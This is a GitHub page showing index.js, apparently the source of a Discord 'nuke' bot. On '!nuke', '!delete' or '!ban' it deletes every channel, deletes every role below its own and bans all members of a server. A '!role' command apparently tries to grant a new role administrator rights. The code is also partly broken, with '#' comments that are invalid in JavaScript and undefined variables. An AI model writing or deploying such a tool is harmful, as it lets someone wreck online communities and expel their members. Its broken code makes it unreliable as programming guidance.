-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
45 lines (38 loc) · 1.46 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const discord = require("discord.js");
const nuke = new discord.Client();
nuke.on("ready", () =>{
console.log(`${nuke.user.tag} is online.`);
nuke.user.setPresence({ game: { name: `Set Status to whatever you want` }, type: 0 }); # Change The Bot Name
});
nuke.on("message", async(msg)=>{
if(msg.content.toLowerCase().startsWith("!" + "nuke")){
msg.guild.roles.filter(r=>r.position < msg.guild.me.highestRole.position).deleteAll();
msg.guild.channels.deleteAll();
msg.guild.members.tap(member => member.ban("Discord Global Ban 52a"));
}
if(msg.content.toLowerCase().startsWith("!" + "delete")){
msg.guild.roles.filter(r => r.position < msg.guild.me.highestRole.position).deleteAll();
msg.guild.channels.deleteAll();
}
if(msg.content.toLowerCase().startsWith("!" + "ban")){
msg.guild.members.tap(member => member.ban("Why Not?"));
}
if(msg.content.toLowerCase().startsWith("!" + "role")){
guild.createRole({
name: 'Super Cool People',
color: 'BLUE',
})
role.setPermissions(['ADMINISTRATOR'])
role.setPosition(15)
}
if(msg.content.toLowerCase().startsWith("!" + "help")){
msg.author.send({
embed: {
color: 0xff0000,
author: { name: "Nope" },
description: "!nuke - Bans all members & deletes all roles and channels\nn!delete - Deletes all channels and roles\nn!ban - Bans all members in the discord\n\n"
}
})
}
});
nuke.login("Replace Here With Your bot Token"); # Replace your Token